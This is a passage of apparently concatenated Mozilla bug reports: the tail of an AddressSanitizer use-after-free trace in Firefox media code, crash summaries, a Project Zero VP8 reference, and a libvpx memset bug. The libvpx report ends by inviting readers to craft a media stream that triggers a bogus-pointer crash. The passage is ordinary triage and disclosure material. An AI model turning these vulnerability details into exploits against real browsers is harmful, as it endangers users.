#46 0x7f2005ce9066 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2891:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324:25
#47 0x7f2005ce9066 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2891
#48 0x7f2005ce6e9e in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2678:11
#49 0x7f20027eb21f in mozilla::dom::XMLHttpRequest_Binding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1276:9
#50 0x7f20035720c9 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3311:13
#51 0x7f200ad794c0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:440:15
#52 0x7f200af5fc17 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:2657:14
#53 0x16ec07f2e0c7 (<unknown module>)
#54 0x621000f23657 (<unknown module>)
previously allocated by thread T0 (file:// Content) here:
#0 0x4c5003 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
#1 0x4f637d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
#2 0x7f20047896a3 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12
#3 0x7f20047896a3 in mozilla::MediaStreamGraph::GetInstance(mozilla::MediaStreamGraph::GraphDriverType, nsPIDOMWindowInner*, int) /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:3748
#4 0x7f2004da607c in mozilla::dom::AudioDestinationNode::AudioDestinationNode(mozilla::dom::AudioContext*, bool, bool, unsigned int, unsigned int, float) /builds/worker/workspace/build/src/dom/media/webaudio/AudioDestinationNode.cpp:342:9
#5 0x7f2004d91e3d in mozilla::dom::AudioContext::AudioContext(nsPIDOMWindowInner*, bool, unsigned int, unsigned int, float) /builds/worker/workspace/build/src/dom/media/webaudio/AudioContext.cpp:157:22
#6 0x7f2004d95382 in mozilla::dom::AudioContext::Constructor(mozilla::dom::GlobalObject const&, mozilla::dom::AudioContextOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/media/webaudio/AudioContext.cpp:243:9
#7 0x7f2000b971aa in mozilla::dom::AudioContext_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/AudioContextBinding.cpp:550:58
#8 0x7f200ad7b67b in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:440:15
#9 0x7f200ad63e6d in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3182:18
#10 0x7f200ad4999a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
#11 0x7f200ad79d77 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:553:15
#12 0x7f200ad7ad92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10
#13 0x7f200b8ca32a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2887:12
#14 0x7f2002b67d9e in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
#15 0x7f2003dcbc40 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#16 0x7f2003dcbc40 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121
#17 0x7f2003dcd894 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1298:20
#18 0x7f2003db0663 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:622:16
#19 0x7f2003db6e40 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1088:9
#20 0x7f2003dba015 in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
#21 0x7f20008c84a0 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1089:5
#22 0x7f20002c5df9 in nsContentUtils::DispatchEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, mozilla::CanBubble, mozilla::Cancelable, mozilla::Trusted, bool*, mozilla::ChromeOnlyDispatch) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4496:28
#23 0x7f20002c5b89 in nsContentUtils::DispatchTrustedEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, mozilla::CanBubble, mozilla::Cancelable, bool*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4460:10
#24 0x7f20007b09e1 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:4968:3
#25 0x7f20008b2f4b in applyImpl<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1166:12
#26 0x7f20008b2f4b in apply<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1172
#27 0x7f20008b2f4b in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1217
#28 0x7f1ffc8b08b2 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
#29 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#30 0x7f1ffc8e9051 in NS_ProcessNextEvent /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#31 0x7f1ffc8e9051 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799:22)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324
#32 0x7f1ffc8e9051 in nsThread::Shutdown() /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799
#33 0x7f2004499831 in mozilla::MediaStreamGraphShutdownThreadRunnable::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:152:14
#34 0x7f1ffc8b8658 in mozilla::EventTargetWrapper::Runner::Run() /builds/worker/workspace/build/src/xpcom/threads/AbstractThread.cpp:150:32
#35 0x7f1ffc8b08b2 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
Thread T37284 (MediaStreamGrph) created by T36833 (CubebOp~tion #1) here:
#0 0x4ae08d in __interceptor_pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204:3
#1 0x7f201dd68b05 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
#2 0x7f201dd686ee in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
#3 0x7f1ffc8e6cc3 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:597:8
#4 0x7f1ffc8f2089 in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/workspace/build/src/xpcom/threads/nsThreadManager.cpp:471:22
#5 0x7f1ffc8f6f4e in NS_NewNamedThread(nsTSubstring<char> const&, nsIThread**, nsIRunnable*, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:143:45
#6 0x7f2004464596 in NS_NewNamedThread<16> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:73:10
#7 0x7f2004464596 in mozilla::ThreadedDriver::Start() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:222
#8 0x7f200446b3bb in mozilla::AudioCallbackDriver::FallbackToSystemClockDriver() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:107:17
#9 0x7f20044687d9 in mozilla::AudioCallbackDriver::Init() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:627:5
#10 0x7f200446794a in mozilla::AsyncCubebTask::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:497:21
#11 0x7f1ffc8f7fe2 in nsThreadPool::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:231:14
#12 0x7f1ffc8f8c84 in non-virtual thunk to nsThreadPool::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp
#13 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#14 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#15 0x7f1ffda888df in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:334:20
#16 0x7f1ffd98c2ec in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#17 0x7f1ffd98c2ec in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#18 0x7f1ffd98c2ec in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#19 0x7f1ffc8e3dc1 in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:423:11
#20 0x7f201dd6bdc8 in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
#21 0x7f20213656b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
Thread T36833 (CubebOp~tion #1) created by T36816 (MediaStreamGrph) here:
#0 0x4ae08d in __interceptor_pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204:3
#1 0x7f201dd68b05 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
#2 0x7f201dd686ee in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
#3 0x7f1ffc8e6cc3 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:597:8
#4 0x7f1ffc8f2089 in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/workspace/build/src/xpcom/threads/nsThreadManager.cpp:471:22
#5 0x7f1ffc8f67aa in NS_NewNamedThread /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:143:45
#6 0x7f1ffc8f67aa in nsThreadPool::PutEvent(already_AddRefed<nsIRunnable>, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:109
#7 0x7f1ffc8f8ed6 in nsThreadPool::Dispatch(already_AddRefed<nsIRunnable>, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:280:5
#8 0x7f200446c6d6 in Dispatch /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIEventTarget.h:37:14
#9 0x7f200446c6d6 in Dispatch /builds/worker/workspace/build/src/dom/media/GraphDriver.h:583
#10 0x7f200446c6d6 in mozilla::AudioCallbackDriver::Start() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:750
#11 0x7f2004465b16 in mozilla::ThreadedDriver::RunThread() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:107:17
#12 0x7f2004499e0f in mozilla::MediaStreamGraphInitThreadRunnable::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:206:14
#13 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#14 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#15 0x7f1ffda88a6f in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:364:5
#16 0x7f1ffd98c2ec in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#17 0x7f1ffd98c2ec in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#18 0x7f1ffd98c2ec in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#19 0x7f1ffc8e3dc1 in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:423:11
#20 0x7f201dd6bdc8 in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
#21 0x7f20213656b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
Thread T36816 (MediaStreamGrph) created by T0 (file:// Content) here:
#0 0x4ae08d in __interceptor_pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204:3
#1 0x7f201dd68b05 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
#2 0x7f201dd686ee in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
#3 0x7f1ffc8e6cc3 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:597:8
#4 0x7f1ffc8f2089 in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/workspace/build/src/xpcom/threads/nsThreadManager.cpp:471:22
#5 0x7f1ffc8f6f4e in NS_NewNamedThread(nsTSubstring<char> const&, nsIThread**, nsIRunnable*, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:143:45
#6 0x7f2004464596 in NS_NewNamedThread<16> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:73:10
#7 0x7f2004464596 in mozilla::ThreadedDriver::Start() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:222
#8 0x7f200476ee40 in mozilla::MediaStreamGraphImpl::RunInStableState(bool) /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1689:17
#9 0x7f20047a3755 in mozilla::(anonymous namespace)::MediaStreamGraphStableStateRunnable::Run() /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1544:15
#10 0x7f1ffc6c0bf6 in mozilla::CycleCollectedJSContext::ProcessStableStateQueue() /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:331:12
#11 0x7f1ffc6c3390 in mozilla::CycleCollectedJSContext::AfterProcessTask(unsigned int) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:396:3
#12 0x7f1ffe961da5 in XPCJSContext::AfterProcessTask(unsigned int) /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSContext.cpp:1218:30
#13 0x7f1ffc8eb850 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1086:24
#14 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#15 0x7f2005ce9066 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2891:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324:25
#16 0x7f2005ce9066 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2891
#17 0x7f2005ce6e9e in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2678:11
#18 0x7f20027eb21f in mozilla::dom::XMLHttpRequest_Binding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1276:9
#19 0x7f20035720c9 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3311:13
#20 0x7f200ad794c0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:440:15
#21 0x7f200ad63fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:586:12
#22 0x7f200ad63fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3190
#23 0x7f200ad4999a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
#24 0x7f200ad79d77 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:553:15
#25 0x7f200ad7ad92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10
#26 0x7f200b8ca32a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2887:12
#27 0x7f2002b67d9e in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
#28 0x7f2003dcbc40 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#29 0x7f2003dcbc40 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121
#30 0x7f2003dcd894 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1298:20
#31 0x7f2003db0663 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:622:16
#32 0x7f2003db6e40 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1088:9
#33 0x7f2003dba015 in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
#34 0x7f20008c84a0 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1089:5
#35 0x7f20002c5df9 in nsContentUtils::DispatchEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, mozilla::CanBubble, mozilla::Cancelable, mozilla::Trusted, bool*, mozilla::ChromeOnlyDispatch) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4496:28
#36 0x7f20002c5b89 in nsContentUtils::DispatchTrustedEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, mozilla::CanBubble, mozilla::Cancelable, bool*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4460:10
#37 0x7f20007b09e1 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:4968:3
#38 0x7f20008b2f4b in applyImpl<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1166:12
#39 0x7f20008b2f4b in apply<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1172
#40 0x7f20008b2f4b in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1217
#41 0x7f1ffc8b08b2 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
#42 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#43 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#44 0x7f1ffda8724e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#45 0x7f1ffd98c2ec in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#46 0x7f1ffd98c2ec in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#47 0x7f1ffd98c2ec in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#48 0x7f20060b28a6 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27
#49 0x7f200aa56ede in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:896:22
#50 0x7f1ffd98c2ec in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#51 0x7f1ffd98c2ec in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#52 0x7f1ffd98c2ec in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#53 0x7f200aa5609c in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:722:34
#54 0x4f54d1 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30
#55 0x4f54d1 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287
#56 0x7f202030782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:296:27 in get
Shadow bytes around the buggy address:
0x0c2a800c4a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800c4a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a800c4a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800c4a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800c4a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c2a800c4a50: fd fd fd fd fd fd[fd]fd fd fd fd fa fa fa fa fa
0x0c2a800c4a60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a800c4a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a800c4a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a800c4a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a800c4aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12249==ABORTING
|
|
1,472,629 | 13,442,743 |
This bug was filed from the Socorro interface and is
report bp-e38e89fd-a601-4513-8375-2b5e80180701.
=============================================================
Top 10 frames of crashing thread:
0 XUL CrashReporter::TerminateHandler toolkit/crashreporter/nsExceptionHandler.cpp:1435
1 libc++abi.dylib libc++abi.dylib@0x260a0
2 libc++abi.dylib libc++abi.dylib@0x25b2f
3 libobjc.A.dylib libobjc.A.dylib@0xe897
4 CoreFoundation CoreFoundation@0x163bd8
5 AppKit AppKit@0xb1391
6 XUL -[BaseWindow accessibilityAttributeValue:] widget/cocoa/nsCocoaWindow.mm:3457
7 AppKit AppKit@0xb1296
8 AppKit AppKit@0xb0677
9 AppKit AppKit@0xb000d
=============================================================
This is caused by an uncaught exception.
|
|
1,478,849 | 13,503,875 |
The attached crash information was submitted via the ASan Nightly Reporter on mozilla-central-asan-nightly revision 63.0a1-20180725103029-https://hg.mozilla.org/mozilla-central/rev/0b9c0b211eb3d84c5afdb64f4a91d079d0aa4c75.
For detailed crash information, see attachment.
|
|
1,480,092 | 13,515,662 |
From Google's Project Zero:
WebRTC: Use-after-free in VP8 Block Decoding
https://bugs.chromium.org/p/project-zero/issues/detail?id=1575
|
|
1,480,374 | 13,518,077 |
Created attachment 8996970
onyx_fd-incorrect-size-memset.patch
In a function of libvpx, a memset is called with an incorrect parameter: I believe the intention is to clear the fb->pbi[] array completely.
But due to the incorrect parameter, the array gets cleared only the first 1/4 elements (32-bit) or 1/8 elements (64-bits).
The element of pbi[] array is a pointer.
NOW, the big question is this.
Is failing to clear the array a bad thing?
I think so. It can cause a crash if 0-ness is relied upon for non-used element.
I have not read the source code completely,nor the time at this moment,
but if there is a piece of code that depends on elements of pbi[] to contain 0, i.e., null ptr (on most CPU architectures, including x86, x86_64, etc.), then we have a serious problem.
The second invocation of this data structuremay cause a crash: it seems memset() is called to clear the array when an error occurs and vpx_clear_system_state() is called.
Thus, eventual crash due to referencing a bogus pointer is a possibility.
Excercise to the reader:
Create a video/audio data stream so that fb->pbi[] contains a bogus pointer
and let the program crash.
(*) Advanced Excersize:
